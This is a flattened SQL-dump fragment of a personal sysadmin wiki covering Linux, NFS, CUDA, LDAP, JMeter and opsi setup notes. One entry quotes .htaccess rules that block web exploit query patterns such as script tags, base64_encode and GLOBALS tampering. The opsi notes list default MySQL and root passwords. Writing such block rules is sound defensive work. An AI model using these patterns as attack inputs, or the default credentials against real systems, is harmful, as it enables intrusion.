inputdevice identifier keyboard 0 driver kbd option protocol standard option xkblayout us option xkbmodel microsoftpro option xkbrules xfree86 endsection section inputdevice identifier mouse 1 driver mouse option buttons 5 option device dev input mice option name logitech trackman wheel option protocol explorerps 2 option vendor sysp option zaxismapping 4 5 endsection section modes identifier modes 0 endsection section monitor identifier monitor 0 vendorname nec modelname multisync xv17 -2 usemodes modes 0 displaysize 491 276 horizsync 31 0 - 83 0 vertrefresh 55 0 - 76 0 option calcalgorithm xserverpool option dpms option preferredmode 1680x1050 endsection section device #option rotate ccw identifier device 0 driver nvidia vendorname nvidia boardname geforce fx 5500 screen 0 endsection section screen identifier screen 0 device device 0 monitor monitor 0 defaultdepth 24 option randrrotation on option renderaccel true subsection display depth 15 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection subsection display depth 16 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection subsection display depth 24 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection subsection display depth 8 modes 1680x1050 1600x1024 1600x1000 1400x1050 1600x900 1280x1024 1440x900 1280x960 1366x768 1360x768 1280x800 1152x864 1280x768 1280x720 1024x768 1280x600 1024x600 800x600 768x576 640x480 endsubsection endsection section extensions option composite enable endsection '),(282,'opensolaris usb serial',' solaris usb to serial adapter both of these single port usb to rs 232 adapters are supported per the solaris usb faq keyspan usa-19hs prolific pl-2303 additional ones are listed on the opensolaris hcl guc232a rs232 serial to usb converter '),(283,'nginx configuration',' a very basic linux journal article is here eventports on solaris for performance gain '),(284,'sydney sydney\'s powermac g5',' sn ym33885jnvr pc 3200 inside your g5 tech specs for this g5 2004 model apple part number 661-3144 powermac g5 2 0 processor version 2 dual configuration does this need a different board some places for parts the above had expanded view system diagrams etc '),(285,'android development',' getting started the android development tools when combined with eclipse allow you to run a virtual android device on your development system and quickly develop apps for it it is pretty easy to get it set up especially if you have used eclipse before the ability to develop and test the apps in a run-time virtual machine environment without needing an actual android phone is great and it is easier than you might think to get started if you know java that will help a lot but if you know c or even php you will likely be able to figure your way through you won\'t of course be able to test certain api calls in the virtual machine such as gps functions of course but you can still write them get setup with the android sdk and eclipse by following these steps then proceed with some tutorial action below a great place to start is the three part video series androidology by mike cleron on youtube many additional videos can be found at the developers youtube channel androiddevelopers development tutorials development tutorials development tutorials here is a five part series on getting stated with the android sdk and eclipse and making a simple app another tutorial at the official developer site and yet another ibm tutorial building an app with the sdk & eclipse application repositories application repositories application repositories a few sample scuba apps '),(286,'magnetic card stripes and readers',' which states use aamva standard drivers licenses wikipedia article including what information is stored on which tracks projects arduino project using omron v3a family parts zu-m2121s451 omron '),(287,'htaccess examples',' here are some examples to block out common exploits taken from this site ########## begin - rewrite rules to block out some common exploits # # block out any script trying to set a mosconfig value through the url rewritecond query_string mosconfig_ a-za-z_ 1 21 3d or # block out any script trying to base64_encode crap to send via url rewritecond query_string base64_encode or # block out any script that includes a tag in url rewritecond query_string 3c script 3e nc or # block out any script trying to set a php globals variable via url rewritecond query_string globals 0-9a-z 0 2 or # block out any script trying to modify a _request variable via url rewritecond query_string _request 0-9a-z 0 2 or # block out any script that tries to set config_ext com_extcal2 issue rewritecond query_string config_ext 20 5b nc or # block out any script that tries to set sbp or sb_authorname via url simpleboard rewritecond query_string sbp 20 3d or rewritecond query_string sb_authorname 20 3d # send all blocked request to homepage with 403 forbidden error rewriterule index php f l # ########## end - rewrite rules to block out some common exploits '),(288,'vulnerability testing',' some good sites listing vulnerabilities '),(289,'university of southern florida linux degree programm',' papers softice wiki has elementary linux system admin labs elsa and plans to have advanced labs alsa in the future '),(290,'javapos development resources',' glue javapos references hardware here is a discontinued cheap but possibly effective solution ingenico en-touch 1000 '),(291,'kernel compiling tips',' these are _very_ rough notes which i intend to someday turn into a useful howto there are many how to compile a kernel the distro of your choice way and these are usually great guides however there are steps which are sometimes not well explained or other aspects of compiling a kernel that i\'ve had trouble with and thus this page an example of a good general how to guide for centos can be found here you can also check out kernelnewbies org there is also a good guide on building software for linux not the kernel specifically here - great intro if this is all new to you it is a bit older now but has some good examples for troubleshooting build issues and for the other side of the coin an interesting guide to decompiling linux elf binaries can be found here git good guide for using git for kernel or other building usr src linux symlink missing assembly includes when compiling an app against the kernel source tree you may get error that assembly files can not be located this can be due to a symlink being missing normally this symlink is created by running make prepare though i\'ve noticed that in 2 6 33 this is not the case and it must be manually created patching this might be obvious but i missed it when looking at the kernel versions to download at kernel org each kernel is listed on a line along with a patch that patch has already been applied to that kernel it is used to patch an earlier version to bring it up to that kernel version not to apply to that version directly thus attempting to patch linux-2 6 33 3 with patch- 6 33 3 bz2 results in all hunks failing as that patch should be used against a pre 2 6 33 kernel multiple includes if a file in being included twice or a redefinition of a struct occurs you will get compile errors if this occurs you can use include guards around the problematic bits as described here have lots of space building a kernel takes a few gigs of space - more if you are building it as an rpm when done if you no longer need it delete usr source packages build kernel-version as well as usr src packages rpms arch usr src packages srpms arch and of course the kernel source folder you compiled from this will free up several gigs vmlinux vs vmliuz vmlinux vs vmliuz vmlinux vs vmliuz run file on them and see new notes new notes new notes here are some good guides for compiling a kernel non-rpm method rpm method kernel head from suse build server and other good general advice general suse guide includes updating grub using yast tools etc complete suse guide pretty good mkinitrd boot initrd-2 6 0 img 2 6 0 note the syntax here mkinitrd -k vmlinux-version -i initrd-version very good general reference and mkinitrd reference handy make options cp proc config gz gunzip config gz cp config config or make cloneconfig make or make all _never as root_ good idea to run it as time make -j3 all make modules_install # installs modules into usr lib make loadmodconfig only builds modules you have loaded make install # installs kernel itself including entries in grub nice mkinitrd # whoa unto you should you forget to build your initrd - you still need to do this even if you did a build rpm - it does not do it automatically initrd initramfs initrd initramfs initrd initramfs currently loaded modules are built into the initrd you make also see etc modules '),(292,'389-ds ldap server',' install guides cn directory manager ssl info installing sun java fedora ldap info ldap terminology for part of the directory hierarchy can be found here general ldap tutorial is here ldap and ad sync troubleshooting trying to add users in dsgw on centos gives an error installed the newer version 1 2 6 a3 alpha 3 of ds-base from epel testing which did not resolve the issue installed the java console yum install idm-console-framework 389-console 389-ds-console xauth you can use this via x forwarding to manage the server password reset steps to reset the admin server password php ldap authentication php must be compiled for ldap support for cpanel this can usually be done in whm apache rebuild and also see example to search ldap using php ldap calls auth script that actually works compared to this fancier one which does not work yet example of script that authenticates against ldap locking account on unsuccessful logins general guide to using php with ldap code example that iterates entries from an ldap server can be found here using zend framework '),(293,'warcraft 3 on linux',' installing warcraft 3 roc on linux itself is fairly straight forward install the game with wine crossover games download the patch to 1 24e or later which disables the cd check add registry entries for custom graphics mode by importing a reg file using regedit containing regedit4 hkey_current_user software blizzard entertainment warcraft iii video refreshrate dword 00000032 resheight dword 000004b0 reswidth dword 00000780 add registry entry for opengl rendering hkey_current_user software blizzard entertainment warcraft iii with new dword value called gfx opengl with the value set to 1 or add -opengl to command line if needed rename the movies folder if you get a black screen after games starts movies can be watched with mplayer vlc etc other useful sites talks about need to patch for hosting patching wine for host capabilities crossover games compatibility page for frozen throne crossover games compatibility page for roc '),(294,'limesurvey',' importing from ldap '),(295,'setting up os mirrors',' centos mirror list set up a cron job to rsync your version such as rsync -vaqzh --delete us-msync centos org centos 5 5 var www html centos rsync -vaqzh --delete mirrors usc edu centos 5 5 var www html centos to skip specified file or directories --exclude \' iso\' note the case on the spelling of centos may matter more info fancier way '),(296,'gmail and cpanel',' if you are setting up a domain in cpanel to use gmail see configuring your mx records cpanel and this site which has a bit more info basically you need to set mail in cname ghs google com mydomain com in mx 0 aspmx l google com use low ttls for these 300 is good also set remote mail exchanger in the bottom of the edit dns zone screen in cpanel '),(297,'iozone',' iozone a great introductory tutorial on iozone is here and another one here the manual with full documentation and definitions of the various tests performed can be found at sample run iozone -l 1 -u 1 -r 4k -s 100m -f var www iozone test tee -a iozone_web01_results_gplo2 txt & time iozone -r -l 1 -u 1 -r 4k -s 100m -f var www iozone test tee -a iozone_dev_results txt graphing the scripts to create graphs in gnuplot are generate_graphs which calls gengnuplot sh if you installed iozone from a package list the package contents to find where these were put you also should have a gnu3d dem or gnu3d dem gz too to configure gnuplot with your graphing preferences to make graphs and display them interactively use generate_graphs iozone_web01_results_auto txt once displayed in gnuplot you may rotate the graph axis zoom is controlled with the third mouse button push scroll wheel and then dragging the mouse note the default x and y access formatting uses autoscale which may use exponential notation to display integers you may add set format x 3g to gnu3d dem or the relevent graph in gnuplot dem gnuplot manual plotting gnuplot set zlabel kbytes sec gnuplot set data style lines warning deprecated syntax use set style data gnuplot set dgrid3d 80 80 3 gnuplot splot \'write iozone_gen_out gnuplot\' title write performance gnuplot quit references gnuplot references gnuplot references gnuplot references formatting '),(298,'nfs performance tuning',' testing tools iozone iostat -n nfsstat -zc nfs log tunables echo 32767 proc sys sunrpc rpc_debug echo 65535 32767 proc sys sunrpc nfs_debug tail -f var log messages nfsstat -zc shows counters from zero see here alternative sysctl -w sunrpc rpc_debug 3 echo 3 proc sys sunrpc rpc_debug rpcdbg_ values in include linux sunrpc debug h define the bitmask of dprintk available performance tuning the above has a good section on performance tuning see section 5 1 on setting block size to optimize transfer speeds for details on tuning rsize and wsize settings attribute caching cdirmax acdirmin acregmax acregmin actimeo settings can be used to control cache time outs of attributs also the nocto mount option see a8 seems to dramatically reduce the getattr rpc calls local nfs caching on red hat instructions for debian required modules for lenny were included in the 2 6 30-1-amd64 kernel and the cachefilesd package was in testing you just need to build the nfs-utils package for nfs mounting to support the fsc option books sites '),(299,'mysql bash scripts',' while php is great to use with mysql it can be a bit overkill for simple operations in such cases you might accomplish what you need with a bash script here is an example for pulling dns zones from a parallels hsp database pdns based root hsp # cat zonequery sh # bin bash # this takes a single domain name as an argument and queries the specified table to find # all zone file dns records for that zone # example zonequery sh mydomain com # # if you want to batch process using a file containing a list of domains # for i in cat missingzoneslist txt ; do zonequery sh missingzonesdump txt i; done # # pete eby # e solutions mysql aspc-apr-24-2010 an alternative is to look for all dns records by ip address then use this to create a list of the associated domain names pointing to that ip this list can then be fed into the above script to recreate complete zone files by domain for example zonequeryip sh 10 20 30 40 cut -f 1 zonedomainlist-10 20 30 40 txt for i in cat zonedomainlist-10 20 30 40 txt ; do zonequery sh zonedump-10 20 30 40 txt i; done root hsp # cat zonequery sh # bin bash # this takes a ip as an argument and queries the specified table to find # all zone file dns records for that ip # example zonequeryip sh 10 20 30 40 # # if you want to batch process using a file containing a list of ips # for i in cat ip-list txt ; do zonequeryip sh domainlist txt i; done # # pete eby # e solutions mysql aspc-apr-24-2010 '),(300,'apache jmeter load testing',' intro from the official site apache jmeter is open source software a 100 pure java desktop application designed to load test functional behavior and measure performance it was originally designed for testing web applications but has since expanded to other test functions while there are many web testing tools such as ab siege etc they have limitations they can only run from one host and there is no built in visualization tool to analyze the results jmeter address these limitation and provides a comprehensive testing environment a good general tutorial introducing basic concepts and creating a first test plan can be found here and another here note the first also covers distributed testing and creating a test plan by using a proxy server to create request lists etc installing installing installing download jmeter from here it will run on linux unix windows solaris etc and is a java application templates templates templates defined test plans are saved as xml files with jmx extenstions and they can easily be moved around results are also saved in xml with jtl extenstion here is an example of a test plan template with several thread groups i made for the kelby cluster with different reports for several sites etc media kelby jmx zip here is what the above test plan with the multiple thread groups for different sites jmeterrendered 600px thumb center example test plan multiple thread groups - viewing rendered results defining test threads defining test threads defining test threads you create a tree starting by adding a thread group right click on the beaker icon most likely you will then add an http request object right click on thread group add sampler http request similarly you can add reports under listeners and timers to simulate more realistic traffic see simple data writer section - it is very useful indeed the view results tree and graph results are good listeners to start with note you can save the html returned and view it rendered in the view results panel however this of course consumes considerable disk space and i o it can be good to run a short test with this enabled then turn it off you enable it by configuring the listener to save response data xml simple data writer simple data writer simple data writer trying to display results when a test is running can easily bring your test machine down to capture but not display data in real time add a simple data writer object to your test plan note i believe you need to add this to the top of the stack so that it has scope over all defined test threads see picture above scheduling scheduling scheduling tests can be run per a schedule by enabling the scheduler checkbox in the main screen of the thread group set the desired times and then run the test it will delay execution until the start time is reached per the official documentation when using the scheduler jmeter runs the thread group until either the number of loops is reached or the duration end-time is reached - whichever occurs first note that the condition is only checked between samples; when the end condition is reached that thread will stop jmeter does not interrupt samplers which are waiting for a response so the end time may be delayed arbitrarily distributed testing distributed testing distributed testing running jmeter on one host can easily run into bottle necks with the local system resources or network jmeter allows for controlling multiple remote clients and managing them through the gui a guide to setting this is can be found here and additional instruction can be found in the official documentation here you must define the remote hosts ip addresses in bin jmeter properties remote_hosts attribute note that to run jmeter-server your hostname must resolve to a real ip not to localhost otherwise you will receive error messages when starting the server such as with no ip set for hostname in etc hosts paracelsus serenity downloads jakarta-jmeter-2 3 4 bin jmeter-server created remote object unicastserverref liveref endpoint 42232 local objid -77eb9e12 129470bce49 -7fff -4973597432862858939 server failed to start java rmi remoteexception cannot start unable to get local host ip address when hostname is set to 127 0 0 1 paracelsus serenity downloads jakarta-jmeter-2 3 4 bin jmeter-server created remote object unicastserverref liveref endpoint 127 0 1 1 49876 local objid -50e93d31 1294710570d -7fff 5710415373589685264 server failed to start java rmi remoteexception cannot start serenity is a loopback address proxy server proxy server proxy server more information on setting up jmeter as a proxy for data collection to create a use case can be found here import apache log import apache log import apache log in addition jmeter allows you to import an apache access log and run tests using the traffic obtained from real-world production traffic see here for more information '),(301,'webserver benchmark tools',' jmeter jmeter is a great testing framework please see apache jmeter load testing seige seige seige siege -g -v -u this will grab and display headers flood flood flood also contains links to other testing tools at the end '),(302,'oak ridge national laboratory',' i intend to expand this section greatly in the future having had the opportunity to visit oak ridge i have a great appreciation for the tremendous caliber of this facility and its staff and will be creating a article to highlight some of the projects and research being conducted there for now please see the wikipedia article on the lab and of course the official ornl site oak ridge facility oak ridge facility oak ridge facility research neutron science environmental sciences coming soon national center for computational sciences genomics genomics genomics doe uofc joint genome institute site parallel computing parallel computing parallel computing computational biology applications computational biology applications computational biology applications prodigal prodigal is gpl software for the rapid sequencing of microorganisms results fro prodigal can be found here which link to genbank sometimes it is easier to just search the whole genbank ftp base directory here artemis artemis is a java based application allowing for the visualization and annotation of sequences of any size in embl or genbank format trouble reading large genbank files with annotations see this faq convert file formats need to convert between sequence file formats no problem use don gilbertu8e28099s readseq which is available as a java app or can be used through a web interface here more info on what these formats are can be found here i found all the above info on this helpful post you can also try seqconv as another option which is part of the gcg application misc links misc links misc links jaguar jaguar jaguar '),(303,'home design ideas',' here are various ideas we have for integrating into future house designs home architectural ideas home architectural ideas home architectural ideas www dreamhomesource com tons of plans for all styles of homes queen anne and victorian plans are killer kitchen kitchen kitchen dinette area french country style board table painting rug barstools chairs for table fake wood beams bay window chandelier more country style kitchen proper tintype tile paint tiles meanwhile island power with wheels or with gliders under feet island could be 42 long and 22ish wide garbage can with lid pot hanger future kitchen exposed wood beams skylight making windows in cabinets new stove top burner basins knick-knacks --cast iron copper wrought iron exposed wood currently cabinets are at 36 high dining tables etc baker baker\'s rack matching table french country kitchen dining table cottage style bathroom bathroom bathroom irish moss marble featured in this magazine article this material apparently supplied by mint green marble is listed on the site which may or may not be the same material they also sell bioglass which looks awesome too catio catio catio cat haven catioshowcase com '),(304,'nvidia cuda',' cuda cuda cuda you most likely have some idea of what cuda is all about or you wouldn\'t be here but for a general introduction see in short cuda provides a language cuda c compiler sdk and run time environment to allow you to write general purpose c code which is executed in a massively parallel manner by taking advantage of the capabilities of nvidia gpus it is actually quite easy to write code for and requires only a basic or intermediate level proficiency with c programming and does not require any knowledge of opengl or other graphics languages whatsoever if you have an nvidia 8 series or newer card including many mobile chipsets it most likely supports cuda and you can start writing parallel code to run on the device more easily than you may realize it is sitting there quietly waiting for you to dive in and take advantage of it opencl opencl opencl in comparison to nvidia nvidia\'s cuda there is also opencl newer nvidia gpus when using the correct drivers also support opencl nvidia is one of the companies developing opencl and you can find more information and driver at the nvidia opencl page amd also supports opencl and describes the implementation of the language at a short tutorial in opencl can be found here you can use the gpu caps utility to see if your gpu supports opencl tutorials tutorials tutorials here is a good cuda intro tutorial of course there is also the official programming guide as a definitive reference i would also recommend cuda by example an introduction to general purpose gpu programming by jason sanders and edward kandrot as an excellent way to get started i am reading this now and find it quite helpful additionally there are of course the sdk code examples you can download and get started with immediately cuda sdk 3 2 update cuda sdk 3 2 update cuda sdk 3 2 update update i just did a fresh install of suse 11 3 64-bit and the new cuda sdk 3 2 and found the following issues unfortunately the cuda sdk 3 2 release notes do not include the same mention of the missing symlinks as do the 3 1 release notes follow the procedure in the 3 1 notes which is also described below while i had hoped the new cuda sdk 3 2 would be compatible with gcc 4 5 it is not as described in this nvidia forum thread you will still need to install and configure gcc43 and gcc43-g as alternatives as described below in the section gcc version issues several x11 development libraries are required on suse 11 3 install these and their dependencies with the following zypper install libxi6-devel libxmu-devel xorg-x11-libxmu-devel xorg-x11-libxext-devel make errors the error 86_64-suse-linux bin ld cannot find -lx11 is caused from a missing xorg-x11-libxext-devel errors like iomanip 64 error expected an expression are likely from using an incompatible version of gcc like 4 5 this is best resolved by installed gcc43 as an alternative below or as described on the nvidia post a simple workaround to compiling the rest of the sdk would be to remove the folder interval from the sdk sdk\'s src folder and put it somewhere in your home directory where you will remember it later the complete list of programs that don\'t compile from the 3 2 sdk with gcc 4 5 1 are interval sobelfilter functionpointers errors regarding ac_prog_libtool can be solved by installing libtool the remaining setup for sdk 3 2 is as given for the previous version install compile issues install compile issues install compile issues firstly follow the very detailed getting started linux guide to get your development environment setup the documentation is quite good and provides all the basic info on installing the nvidia driver the cuda toolkit and sdk and setting up your paths for locating the binaries and libraries all required files are available on the cuda downloads page note ensure your nvidia driver meets or exceeds the version required by the sdk the version in your distro distro\'s restricted driver non-oss repository may not be sufficient i recommend installing the nvidia driver from the cuda downloads area to prevent any potential trouble missing symlinks applies to red hat centos opensuse etc it is important to read the sdk 3 1 sdk release notes - really stop now and read them you will fine under section iii b known issues on cuda sdk for linux that often there are a few key libraries which need to have symlinks created so the linker can find them in my case this was required for libglut and libglu if missing you will see errors such as usr bin ld cannot find -lglut usr bin ld cannot find -lglu in either case create the required symlinks #ln -s usr lib libglut so 3 usr lib libglut so #ln -s usr lib libglu so 1 usr lib libglu so #ln -s usr lib libx11 so 6 usr lib libx11 or usr lib64 if running 64-bit if no write access to usr lib create in another location and modify -l in makefile or add the path to the symlink to etc ld so conf and run ldconfig if you get a linking error cannot find -lcuda then create this additional symlink your library version may vary slightly #ln -s usr lib libcuda so 256 35 usr lib libcuda so compiling order - do what the guide says being an eager beaver i decided to just compile the devicequery program first to make sure everything was working this was a bad decision as it like many others requires shared objects which had not been created yet as a result i was getting compile errors such as paracelsus callandor nvidia_gpu_computing_sdk c src devicequery make devicequery cpp 126 11 warning extra tokens at end of #else directive devicequery cpp 135 11 warning extra tokens at end of #else directive usr lib gcc i586-suse-linux 4 5 i586-suse-linux bin ld cannot find -lcutil_i386 collect2 ld returned 1 exit status make bin linux release devicequery error 1 i resolved this by compiling in this order paracelsus callandor nvidia_gpu_computing_sdk c common make paracelsus bob nvidia_gpu_computing_sdk shared make paracelsus callandor nvidia_gpu_computing_sdk c src devicequery make the real solution though oddly enough is to do what the getting started guide said you should compile them all by changing to nvidia_gpu_computing_sdk c in the useru8cab9s home directory and typing make the resulting binaries will be installed under the home directory in nvidia_gpu_computing_sdk c bin linux release so just compile them all and avoid such problems paracelsus callandor nvidia_gpu_computing_sdk c make gcc version issues for opensuse 11 3 fedora 13 ubuntu 10 04 etc if you are running a distro newer than the latest release of the cuda toolkit and sdk then your versions of gcc and glibc may be newer and not compatible this is generally resolveable by installing the earlier versions and setting up your system to allow easy selection of which version to compile with on my opensuse 11 3 install i used the following links to implement the solution which follows bob # gcc --version gcc suse linux 4 5 0 20100604 gcc-4_5-branch revision 160292 ### too new does not allow code examples to compile use yast to install gcc43 gcc43-c gcc43-info and any required dependencies my packages are as follows bob # rpm -qa grep gcc gcc-4 5-4 2 i586 gcc45-info-4 5 0_20100604-1 12 noarch gcc43-4 3 4_20091019-3 1 i586 libgcc45-4 5 0_20100604-1 12 i586 gcc-info-4 5-4 2 i586 gcc45-4 5 0_20100604-1 12 i586 gcc43-c -4 3 4_20091019-3 1 i586 libstlport_gcc4-4 6 2-6 1 i586 gcc-c -4 5-4 2 i586 gcc43-info-4 3 4_20091019-3 1 i586 gcc45-c -4 5 0_20100604-1 12 i586 now set up both versions so you can easily select which one is the default bob #sudo update-alternatives --install usr bin gcc gcc usr bin gcc-4 3 60 --slave usr bin g g usr bin g -4 3 bob #sudo update-alternatives --install usr bin gcc gcc usr bin gcc-4 5 40 --slave usr bin g g usr bin g -4 5 bob # update-alternatives --config gcc there are 2 alternatives which provide gcc\' selection alternative ----------------------------------------------- 1 usr bin gcc-4 3 2 usr bin gcc-4 5 press enter to keep the default or type selection number 1 using \' usr bin gcc-4 3\' to provide \'gcc\' bob # gcc --version gcc suse linux 4 3 4 gcc-4_3-branch revision 152973 ## you are now set to use cuda with sdk version 3 1 os x os x os x some os x opencl documentation is here cuda vs opencl cuda vs opencl cuda vs opencl gpu caps viewer gpu caps viewer gpu caps viewer this utility polls gpus and returns the device capabilities this utility can run under wine on linux as well at least as of version 1 7 now what now what now what so what else can you do with cuda what applications exist out there to sink the teeth of your gpu into well the list is growing all the time but i\'ve started a page where i\'ll be adding some too as i discover them and you can find it at cuda applications check out cuda data parallel primitives library - cudpp explore the cuda performance profiler virtualgl virtualgl virtualgl if you wish to view opengl simulations remotely you will quickly discover that opengl is actually rendered on the client although the computations may be done on the remote system all rendering commands are sent to the client to be displayed locally essentially killing performance virtualgl provides a solution to this by rendering results on the server storing them in a pixel buffer and transferring that to the client it does so in a clever way by attaching a loadable module to the binary run which intercepts the opengl calls and redirects them locally see the official virtualgl site for complete details there is also some useful information in this sun documentation and this nvidia forum thread the newest version does not require the libjpeg-turbo there are several steps required to configure x so see the install guide prior to trying the below commands to start a vgl forwarded ssh connection from the client opt virtualgl bin vglconnect -force paracelsus 10 100 10 48 then start the opengl app on the server with vglrun paracelsus bob cd nvidia_gpu_computing_sdk c bin linux release paracelsus bob nvidia_gpu_computing_sdk c bin linux release opt virtualgl bin vglrun oceanfft overclocking overclocking overclocking provides basic overclocking capabilities though newer cards may not be supported unfortunately the prospects of porting other overclocking tools such as evga evga\'s precision utility are not showing much promise at this time this does not run under wine and a linux implementation is not planned per this post the qt version seems to be broken in configure but the gtk version compiles fine command line and gtk versions binaries are nvclock0 8b4 src gtk nvclock_gtk nvclock0 8b4 src nvclock language bindings language bindings language bindings looking for more ways to leverage cudas capabilities from other languages try these resources books books books programming massively parallel processors a hands-on approach isbn-13 978-0123814722 cuda by example an introduction to general-purpose gpu programming isbn-13 978-0131387683 scientific computing with multicore and accelerators isbn 978-1-4398253-6-5 '),(305,'bar codes',' data matrix codes data matrix codes data matrix codes home of the libraries necessary to decode encore data matrix codes vi the utilities dmtxquery dmtxread dmtxwrite qr codes qr codes qr codes create one using the google api like 1&choe utf-8 decode them using the qr decoder '),(306,'pete workstation specs',' evga geforce gt 220 ftw video card - 1024mb ddr3 pci-express 2 0 dvi hdmi vga cuda capable item number e145-0224 64 tiger until 31 july reg 99 48 cores evga 512-p3-1242-lr geforce gt 240 superclocked 512mb 128-bit gddr5 pci express 2 0 x16 hdcp ready video card w hdmi 110 new egg 74 99 until 2 aug tigerdirect 96 cores evga geforce gtx 260 core 216 superclocked video card - 896mb gddr3 pci express 2 0 x16 sli ready dual link dual dvi hdtv vga support 184 tiger until 31 july reg 224 i5 750 lynnfield 2 66ghz quad core 8mb l3 199 intel core i7-860 lynnfield 2 8ghz 8mb l3 cache lga 1156 95w quad-core processor bx80605i7860 289 newegg tiger evga p55ftw 133 200 159 tiger - 229 newegg until 2 aug g skill ripjaws series 4gb 2 x 2gb 240-pin ddr3 sdram ddr3 1600 pc3 12800 desktop memory model f3-12800cl9d-4gbrl 99 new egg g skill pis series 4gb 2 x 2gb 240-pin ddr3 sdram ddr3 2200 pc3 17600 desktop memory model f3-17600cl7d-4gbpis 159 newegg g skill pis series 4gb 2 x 2gb 240-pin ddr3 sdram ddr3 2000 pc3 16000 desktop memory model f3-16000cl6d-4gbpis 179 newegg '),(307,'nfs cache install',' these are rough notes of how to install nfs caching consisting of using a kernel with the necessary configs the required kernel module fscache building nfs-utils to support the new mount option and configuring etc fstab and the nfs mounts some reference sites for nfs performance tuning see kernel requierments newer kernels will have the kernel module and other options set by default but if you have trouble verify your kernel config has the following for ext3 web01 # grep config_fscache boot config-2 6 30-1-amd64 config_fscache m config_fscache_stats y # config_fscache_histogram is not set # config_fscache_debug is not set web01 # grep config_cachefiles boot config-2 6 30-1-amd64 config_cachefiles m # config_cachefiles_debug is not set # config_cachefiles_histogram is not set web01 # grep config_nfs_fscache boot config-2 6 30-1-amd64 config_nfs_fscache y for jfs web01 # grep -i jfs boot config-2 6 30-1-amd64 config_jfs_fs m config_jfs_posix_acl y config_jfs_security y # config_jfs_debug is not set # config_jfs_statistics is not set installing and configuring installing and configuring installing and configuring and the actual steps to install and config # this is a record of the steps to install nfs caching on one of kelby kelby\'s debian webservers # the 2 6 30 kernels already have the cachefs kernel module so you just need to build # a new version of nfs-utils that supports the fsc mount option # additionally please make sure that fstab include the fsc mount option for the nfs mount s and # the user_xattr for where the cache is held var cache fscache if using ext3 jfs does not require this # and is implicitly uses xattr # apt-get install sysstat 265 sed -i s \'enabled false \' \'enabled true \' etc default sysstat 298 vim etc apt sources list add the testing repo deb testing main non-free contrib deb-src testing main non-free contrib 300 apt-get update 301 apt-get install cachefilesd if using a kernel 2 6 30 304 uname -a 307 apt-get install linux-image-amd64 ensure you have the kernel module loaded 311 vim boot grub menu lst #make sure new kernel is default 312 reboot 314 uname -a #you\'re running the new one right 315 modprobe fscache 316 lsmod grep fscache build the new version of nfs-utils 318 apt-get build-dep nfs-utils 327 apt-get install nfs-utils 332 apt-get source nfs-utils 335 cd nfs-utils-1 2 2 336 dpkg-buildpackage 337 ls 338 cd 339 ls 340 dpkg -i nfs- deb now that you are done with them remove the testing repos from apt - not a good idea to lave them in there configure your nfs mounts in etc fstab see notes above re mount options for ext3 vs jfs for nfs mounts get the fsc option example dev md2 on type ext3 rw errors remount-ro user_xattr 10 0 0 1 export sites content on var www type nfs rw noatime rsize 32768 wsize 32768 intr fsc vers 4 addr 10 0 0 1 clientaddr 10 0 0 27 set up caching and monitor it - var cache fscache should start filling up 341 ls var cache fscache #should exist 342 vim etc cachefilesd conf #cache settings 343 etc init d cachefilesd start 347 etc init d apache2 stop 348 umount var www 355 vim etc fstab #edit as above 356 umount var www 363 mount -o remount to enable user_xattr for ext3 omit for jfs or just reboot 364 etc init d cachefilesd start 365 mount -a 366 mount #check it and ensure it remounted with csf flag dmesg if any issues come up 368 etc init d apache2 start 370 du -sh var cache fscache #it should start filling up 375 history cachefsinstall txt '),(308,'opsi install manager',' documentation the above are pretty good guides - check them out the manual is very extensive covering creating packages the api available etc this one is a pretty rough translations from the german in places but they step you through setting up the server and a test client os install difficult to follow but still valuable note that there are areas of the gui and metadata in packages which are at this time only in german see this post for info on making localization changes to packages you can make your own software packages using whatever language of a product firefox cf engine etc you like so this is not really that big of an issue then there is this odd mozilla reference platform guide to installing opsi install cd install cd install cd root password for pxe boot images and install cd linux123 install methods vmware appliance appliance style install cd or do it from scratch and install packages etc i recommend just using the debian install cd downloaded from the official site however this too has some issues a lot of it is in german but you can certainly change most of that with env settings etc you still have to manually configure things like dhcp and such as needed install cd change the language en in the grub boot screen or you will get installer in german once the install completes the same goes for the gdm login just change the language to english after first reboot if you drop into busybox with no root device found just change argument in grub as appropriate such as root dev sda2 etc setup from command line run 1stboot py default language is german edit usr local bin 1stboot py country environment variable near the top and change from de to eu locale settings show available locales opsi home opsiproducts# locale -a c de_de utf8 en_us utf8 posix set to english opsi home opsiproducts# export lang en_us utf8 opsi home opsiproducts# locale opsi interface opsi interface opsi interface or ssh with -x and run opsiconfd credentials for stuff credentials for stuff credentials for stuff mysql opsi # mysql -u opsi -popsi install cd pxe boot environment root linux123 various accounts etc pcpatch adminuser root etc current support pw ldap not loaded drivers drivers drivers there are several driver related scripts in the install directory for each os see section 3 2 10 simplified driver integration with symlinks of the install manual note you might want to run these as user pcpatch see note below on permissions download & install download driver packs from extract the downloaded drivers from all 7z files you now have opsi opt pcbin install win2003# extract_driver_pack py opt pcbin install win2003 lather rinse repeat for all the driver packs you need if trouble see this post create driver links when done you must run create_driver_links py opsi opt pcbin install win2003# create_driver_links py parsing inf files 1312 1312 3132_sb inf show client drivers show all the drivers installed for a specific client opsi opt pcbin install win2003# show_drivers py test clearly shows which drivers are available or not in a color coded output very easy drivers not found if show_drivers py hostname says the drives are present but when installing they are not found then make absolutely certain ownership and permissions are correct of the drivers drivers d and all other directories if you ran extract_driver_pack py as root then they are going to be wrong opsi opt pcbin install win2003 drivers drivers# chmod -r ug rwx opsi opt pcbin install win2003 drivers drivers# chown -r opsiconfd pcpatch opsi opt pcbin install win2003 drivers drivers# chmod -r ug rw opsi opt pcbin install win2003 drivers drivers# ls -l ms driver distribution another way to export drivers is to create a distribution share as described here this method is a tip from the unattended project note that this apparently simply results in these drivers being copied over and not fully integrated into hardware detection etc but it sill may prove helpful in some cases under the i386 folder on the distribution point create a folder named oem under that folder create a folder named 1 yes really windows setup will copy everything below the 1 folder to the systemdrive normally c during installation see microsoft microsoft\'s description of the distribution share for the gory details you may put your 